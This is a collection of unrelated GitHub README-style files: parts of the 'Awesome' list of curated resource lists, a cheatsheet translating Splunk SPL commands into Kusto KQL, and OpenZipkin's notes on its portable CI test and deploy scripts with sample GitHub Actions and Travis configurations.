- [Veganism](https://github.com/sdassow/awesome-veganism#readme) - Making the plant-based lifestyle easy and accessible.
- [Translations](https://github.com/mbiesiad/awesome-translations#readme) - The transfer of the meaning of a text from one language to another.
## Related
- [All Awesome Lists](https://github.com/topics/awesome) - All the Awesome lists on GitHub.
- [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset.
- [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.
- [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension.
- [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.
- [Awesome Viewer](http://awesome.digitalbunker.dev) - A visualizer for all of the above Awesome lists.
|
# Kusto for Splunkers: Why this?
The idea is to make it easier for Splunk users to leverage KQL (migrations, hybrid environments, consultants). The way the data (stream) is _manipulated_ is of course different, the goal here is to get a head start before diving into formal KQL documentation.
Please note I've only played for a few hours before writing this :hatching_chick: therefore feedback and suggestions are more than welcome!
If you are looking for _code translators_ or something similar, consider this project (never used though): https://uncoder.io
## How to get started?
For me the easiest was to get access to [Azure's Data Explorer](https://dataexplorer.azure.com) and start playing from there as it provides multiple datasets for interactiing and even allowing charts/dataviz rendering.
You can also start from [MS Tutorials](https://docs.microsoft.com/en-us/azure/data-explorer/write-queries) on how to write KQL queries.
### KQL Doc Reference
[Kusto Query Language (KQL) reference doc](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/)
Also consider this nice cheatsheet doc from Markus Bakker: https://github.com/marcusbakker/KQL/blob/master/kql_cheat_sheet_v01.pdf
# SPL-to-KQL Cheatsheet
SPL Quick Reference doc can be found [here](https://docs.splunk.com/Documentation/Splunk/8.1.0/SearchReference/ListOfSearchCommands).
Notes:
* In SPL we usually refer to _fields_ instead of _columns_. In KQL docs there are many references similar to SQL lang.
* In SPL, every _command_ starts with a pipe (|). Likewise, in KQL, each filter prefixed by the pipe is an instance of an [operator](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/queries).
* Aforementioned pipe char (SPL's command prefix) is suppressed from the table below for simplicity, except for multi-line examples.
* Of course, some commands are better compared from a "use case" perspective, therefore no 1-to-1 mapping possible as each language has its particularities.
| SPL | KQL | Remarks |
| --- | --- | --- |
|<pre>head <n></pre> | <pre>[take](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/takeoperator) <n></pre> | `limit` is a synonym. Consider sorting for consitency (SPL's head/tail).
|<pre>table <field(s)></pre> | <pre>[project](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/projectoperator) <field(s)></pre> | Multiple columns are separated by comma (,). More `project` uses below.
|<pre>fields - <field(s)></pre> | <pre>[project-away](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/projectawayoperator) <field(s)></pre> | Also consider [`project-keep`](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/project-keep-operator)
|<pre>rename source_addr AS src_ip</pre> | <pre>[project-rename](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/projectrenameoperator) source_addr = src_ip</pre> | I haven't figured out how to use wildcards. Also check [this](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/management/rename-column#rename-columns).
|<pre>search OS="*win*"</pre>| <pre>[where](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/whereoperator) OS contains "win"</pre> | Also consider [`search`](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/searchoperator)
|<pre>where OS="Windows 10"</pre>| <pre>where OS=="Windows 10"</pre> | Case sensitive
|<pre>search OS="windows 10"</pre>| <pre>where OS=~"windows 10"</pre> | Case insensitive
|<pre>search OS IN ("windows", "linux")</pre>| <pre>where OS in~ ("windows", "linux")</pre> | Case insensitive full-match (implied OR operation)
|<pre>where match(OS, "<regex>")</pre>| <pre>where OS matches regex "<regex>"</pre> | Complies with re2 https://github.com/google/re2/wiki/Syntax
|<pre>eval shake = milk."+".fruit</pre>| <pre>[extend](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/extendoperator) shake = strcat(milk, "+", fruit)</pre> | Many more string operators [here](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/datatypes-string-operators)
|<pre>\| makeresults<br>\| eval fruit="strawberry"<br>\| eval emo=if(<br> match(fruit,"berry"), ":)", ":("<br> )<br>\| fields - fruit, _time</pre>| <pre>[print](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/printoperator) fruit="blueberry", _time=now()<br>\| project emo=[iff](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/ifffunction)(fruit contains_cs "berry",":)",":(")</pre> | Using `project` while evaluating a new column/field
|<pre>eval sum = num1 + num2</pre>| <pre>extend sum = num1 + num2</pre> | Also consider understanding [`let`](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/letstatement) statement (many other use cases)
|<pre>base search for StormEvents<br>\| stats count AS c1</pre>| <pre>StormEvents<br>\| summarize c1=[count()](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/count-aggfunction)</pre>| Also consider [`count`](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/countoperator) operator. Similar use for distinct counting with [`dcount`](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/dcount-aggfunction)
|<pre>base search for StormEvents<br>\| stats count(eval(len(State)>10)) AS c1</pre>| <pre>StormEvents<br>\| summarize c1=[countif](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/countif-aggfunction)(strlen(State)>10)</pre>| Also consider [`count`](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/countoperator) operator
|<pre>base search for StormEvents<br>\| stats dc(eval(match(state, "^I"))) AS c1</pre>| <pre>StormEvents<br>\| summarize c1=[dcountif](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/dcountif-aggfunction)(State, State startswith "I")</pre>| Also consider [`count`](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/countoperator) operator
|<pre>base search for StormEvents<br>\| stats c by State, EventType<br>\| sort 5 -num(c)</pre>| <pre>StormEvents<br>\| summarize c=count() by State, EventType<br>\| [top](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/topoperator) 5 by c</pre>| KQL's [`top`](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/topoperator) behaves differently (_EventType_ is kept in the output) rather than SPL's transformation [`top`](https://docs.splunk.com/Documentation/Splunk/6.5.0/SearchReference/Top) (see below)
|<pre>base search for StormEvents<br>\| top 5 State</pre>| <pre>StormEvents<br>\| summarize c=count() by State<br>\| [top-hitters](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/tophittersoperator) 5 of State by c</pre>| A combination of `summarize`, `sort` and `take` is also possible here
|<pre>\| [bin](https://docs.splunk.com/Documentation/Splunk/6.5.0/SearchReference/Bin) _time span=1d<br>\| eval DoY=[strftime](https://docs.splunk.com/Documentation/Splunk/6.5.0/SearchReference/CommonEvalFunctions#Date_and_Time_functions)(_time, "%j")</pre>|[format_datetime](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/format-datetimefunction), [datetime_part](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/datetime-partfunction) and summarize's [bin()](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/binfunction)|No clear equivalent here, depends on use case
|[rex](https://docs.splunk.com/Documentation/Splunk/6.5.0/SearchReference/Rex), [replace](https://docs.splunk.com/Documentation/Splunk/6.5.0/SearchReference/CommonEvalFunctions#Text_functions)|[parse](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/parseoperator), [parse-where](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/parsewhereoperator)|Fields extraction and string replacement
| No specific command for [Charts](https://docs.splunk.com/Documentation/Splunk/8.1.0/Viz/Visualizationreference) and [Dashboards](https://docs.splunk.com/Documentation/DashApp/0.8.0/DashApp/examples)| [render](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/renderoperator?pivots=azuredataexplorer) (chart type is a parameter)| Some quick chart and dashboard examples [here](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/tutorial?pivots=azuredataexplorer#render-display-a-chart-or-table) & [there](https://docs.microsoft.com/en-us/azure/data-explorer/azure-data-explorer-dashboards)
|
# Test and Deploy scripts
This is a Maven+Docker project, which uses standard conventions for test and deploy with some
exceptions.
On [../zipkin-lens]:
* [maybe_install_npm] is used to build on an unsupported node.js architecture.
* [maven_go_offline] additionally seeds the NPM cache
On test:
* [test], used by [../.github/workflows/test.yml] runs Maven unit and integration tests.
* Its "test" job skips docker, as they are run in parallel in "test_docker"
* [../.github/workflows/readme_test.yml] tests build commands in [../zipkin-server] and [../docker]
* zipkin, zipkin-lens and zipkin-slim Docker builds use `RELEASE_FROM_MAVEN_BUILD=true`
* this avoids invoking Maven builds from within Docker, which are costly and fragile
* Docker tests run in sequence to avoid queueing delays, which take longer than builds themselves.
On deploy:
* [deploy], used by [../.github/workflows/deploy.yml] publishes jars and Docker images.
* [javadoc_to_gh_pages] pushes Javadoc to the gh-pages branch on MAJOR.MINOR.PATCH branch, but not master.
* gh-pages is addressable via https://zipkin.io/zipkin/
* Besides production Docker images, this project includes [../docker/test-images].
* [docker_push] pushes test-images, but only to ghcr.io
[//]: # (Below here should be standard for all projects)
## Build Overview
`build-bin` holds portable scripts used in CI to test and deploy the project.
The scripts here are portable. They do not include any CI provider-specific logic or ENV variables.
This helps `.travis.yml` and `test.yml` (GitHub Actions) contain nearly the same contents, even if
certain OpenZipkin projects need slight adjustments here. Portability has proven necessary, as
OpenZipkin has had to transition CI providers many times due to feature and quota constraints.
These scripts serve a second purpose, which is to facilitate manual releases, which has also
happened many times due usually to service outages of CI providers. While tempting to use
CI-provider specific tools, doing so can easily create a dependency where no one knows how to
release anymore. Do not use provider-specific mechanisms to implement release flow. Instead,
automate triggering of the scripts here.
The only scripts that should be modified per project are in the base directory. Those in sub
directories, such as [docker], should not vary project to project except accident of version drift.
Intentional changes in sub directories should be relevant and tested on multiple projects to ensure
they can be blindly copy/pasted.
Conversely, the files in the base directory are project specific entry-points for test and deploy
actions and are entirely appropriate to vary per project. Here's an overview:
## Test
Test builds and runs any tests of the project, including integration tests. CI providers should be
configured to run tests on pull requests or pushes to the master branch, notably when the tag is
blank. Tests should not run on documentation-only commits. Tests must not depend on authenticated
resources, as running tests can leak credentials. Git checkouts should include the full history so
that license headers or other git analysis can take place.
* [configure_test] - Sets up build environment for tests.
* [test] - Builds and runs tests for this project.
### Example GitHub Actions setup
A simplest GitHub Actions `test.yml` runs tests after configuring them, but only on relevant event
conditions. The name `test.yml` and job `test` allows easy references to status badges and parity of
the scripts it uses.
The `on:` section obviates job creation and resource usage for irrelevant events. Notably, GitHub
Actions includes the ability to skip documentation-only jobs.
Combine [configure_test] and [test] into the same `run:` when `configure_test` primes file system
cache.
Here's a partial `test.yml` including only the aspects mentioned above.
```yaml
on:
push:
tags: ''
branches: master
paths-ignore: '**/*.md'
pull_request:
branches: master
paths-ignore: '**/*.md'
jobs:
test:
steps:
- name: Checkout Repository
uses: actions/checkout@v2
with:
fetch-depth: 0 # full git history
- name: Test
run: build-bin/configure_test && build-bin/test
```
### Example Travis setup
`.travis.yml` is a monolithic configuration file broken into stages, of which the default is "test".
A simplest Travis `test` job configures tests in `install` and runs them as `script`, but only on
relevant event conditions.
The `if:` section obviates job creation and resource usage for irrelevant events. Travis does not
support file conditions. A `before_install` step to skip documentation-only commits will likely
complete in less than a minute (10 credit cost).
Here's a partial `.travis.yml` including only the aspects mentioned above.
```yaml
git:
depth: false # TRAVIS_COMMIT_RANGE requires full commit history.
jobs:
include:
- stage: test
if: branch = master AND tag IS blank AND type IN (push, pull_request)
name: Run unit and integration tests
before_install: | # Prevent test build of a documentation-only change.
if [ -n "${TRAVIS_COMMIT_RANGE}" ] && ! git diff --name-only "${TRAVIS_COMMIT_RANGE}" -- | grep -qv '\.md$'; then
echo "Stopping job as changes only affect documentation (ex. README.md)"
travis_terminate 0
fi
install: ./build-bin/configure_test
script: ./build-bin/test
```
When Travis only runs tests (something else does deploy), there's no need to use stages:
```yaml
git:
depth: false # TRAVIS_COMMIT_RANGE requires full commit history.
if: branch = master AND tag IS blank AND type IN (push, pull_request)
before_install: | # Prevent test build of a documentation-only change.
if [ -n "${TRAVIS_COMMIT_RANGE}" ] && ! git diff --name-only "${TRAVIS_COMMIT_RANGE}" -- | grep -qv '\.md$'; then
echo "Stopping job as changes only affect documentation (ex. README.md)"
travis_terminate 0
fi
install: ./build-bin/configure_test
script: ./build-bin/test
```
## Deploy
Deploy builds and pushes artifacts to a remote repository for master and release commits on it. CI
providers deploy pushes to master on when the tag is blank, but not on documentation-only commits.
Releases should deploy on version tags (ex `/^[0-9]+\.[0-9]+\.[0-9]+/`), without consideration of if
the commit is documentation only or not.
* [configure_deploy] - Sets up environment and logs in, assuming [configure_test] was not called.
* [deploy] - deploys the project, with arg0 being "master" or a release commit like "1.2.3"
### Example GitHub Actions setup
A simplest GitHub Actions `deploy.yml` deploys after logging in, but only on relevant event
conditions. The name `deploy.yml` and job `deploy` allows easy references to status badges and
parity of the scripts it uses.
The `on:` section obviates job creation and resource usage for irrelevant events. GitHub Actions
cannot implement "master, except documentation only-commits" in the same file. Hence, deployments of
master will happen even on README change.
Combine [configure_deploy] and [deploy] into the same `run:` when `configure_deploy` primes file
system cache.
Here's a partial `deploy.yml` including only the aspects mentioned above. Notice env variables are
explicitly defined and `on.tags` is a [glob pattern](https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet).
```yaml
on:
push:
tags: '[0-9]+.[0-9]+.[0-9]+**' # Ex. 8.272.10 or 17.0.8_p7
branches: master
jobs:
deploy:
steps:
- name: Checkout Repository
uses: actions/checkout@v2
with:
fetch-depth: 1 # only needed to get the sha label
- name: Deploy
env:
GH_USER: ${{ secrets.GH_USER }}
GH_TOKEN: ${{ secrets.GH_TOKEN }}
run: | # GITHUB_REF will be refs/heads/master or refs/tags/MAJOR.MINOR.PATCH
build-bin/configure_deploy &&
build-bin/deploy $(echo ${GITHUB_REF} | cut -d/ -f 3)
```
### Example Travis setup
`.travis.yml` is a monolithic configuration file broken into stages. This means `test` and `deploy`
are in the same file. A simplest Travis `deploy` stage has two jobs: one for master pushes and
another for version tags. These jobs are controlled by event conditions.
The `if:` section obviates job creation and resource usage for irrelevant events. Travis does not
support file conditions. A `before_install` step to skip documentation-only commits will likely
complete in less than a minute (10 credit cost).
As billing is by the minute, it is most cost effective to combine test and deploy on master push.
Here's a partial `.travis.yml` including only the aspects mentioned above. Notice YAML anchors work
in Travis and `tag =~` [condition](https://github.com/travis-ci/travis-conditions) is a regular
expression.
```yaml
git:
depth: false # full git history for license check, and doc-only skipping
_terminate_if_only_docs: &terminate_if_only_docs |
if [ -n "${TRAVIS_COMMIT_RANGE}" ] && ! git diff --name-only "${TRAVIS_COMMIT_RANGE}" -- | grep -qv '\.md$'; then
echo "Stopping job as changes only affect documentation (ex. README.md)"
travis_terminate 0
fi
jobs:
include:
- stage: test
if: branch = master AND tag IS blank AND type IN (push, pull_request)
before_install: *terminate_if_only_docs
install: |
if [ "${TRAVIS_SECURE_ENV_VARS}" = "true" ] && [ "${TRAVIS_PULL_REQUEST}" = "false" ]; then
export SHOULD_DEPLOY=true
./build-bin/configure_deploy
else
export SHOULD_DEPLOY=false
./build-bin/configure_test
fi
script:
- ./build-bin/test || travis_terminate 1
- if [ "${SHOULD_DEPLOY}" != "true" ]; then travis_terminate 0; fi
- travis_wait ./build-bin/deploy master
- stage: deploy
# Ex. 8.272.10 or 17.0.8_p7
if: tag =~ /^[0-9]+\.[0-9]+\.[0-9]+/ AND type = push AND env(GH_TOKEN) IS present
install: ./build-bin/configure_deploy
script: ./build-bin/deploy ${TRAVIS_TAG}
```
|
<div align="center">
<img width="500" height="350" src="media/logo.svg" alt="Awesome">
<br>
<br>
<hr>
<p>
<p>
<sup>
<a href="https://github.com/sponsors/sindresorhus">My open source work is supported by the community</a>
</sup>
</p>
<sup>Special thanks to:</sup>
<br>
<br>
<a href="https://github.com/botpress/botpress">
<img src="https://sindresorhus.com/assets/thanks/botpress-logo.svg" width="260" alt="Botpress">
</a>
<br>
<sub><b>Botpress is an open-source conversational assistant creation platform.</b></sub>
<br>
<sub>They <a href="https://github.com/botpress/botpress/blob/master/.github/CONTRIBUTING.md">welcome contributions</a> from anyone, whether you're into machine learning,<br>want to get started in open-source, or just have an improvement idea.</sub>
<br>
</p>
<hr>
<br>
<br>
<br>
<br>
</div>
<p align="center">
<a href="awesome.md">What is an awesome list?</a>
<a href="contributing.md">Contribution guide</a>
<a href="create-list.md">Creating a list</a>
<a href="https://twitter.com/awesome__re">Twitter</a>
<a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a>
</p>
<br>
<div align="center">
<b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b>
</div>
<br>
<p align="center">
<sub>Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.</sub>
</p>
<br>
## Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Higher Education](#higher-education)
- [Events](#events)
- [Testing](#testing)
- [Miscellaneous](#miscellaneous)
- [Related](#related)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google.
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android.
- [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems.
- [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux.
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers.
- [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme)
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages.
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
- [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies.
- [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform.
- [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps.
- [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device.
- [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site.
- [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant.
- [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast.
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability.
- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning.
- [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM.
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/sporto/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme)
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/aleksandar-todorovic/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software.
- [R](https://github.com/qinwf/awesome-R#readme)
- [D](https://github.com/zhaopuming/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development.
- [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
- [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere".
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
- [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language.
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme)
- [Assembler](https://github.com/lurumdare/awesome-asm#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
- [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential.
- [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms.
- [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript.
- [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code.
- [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen.
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework.
- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library.
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit.
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework.
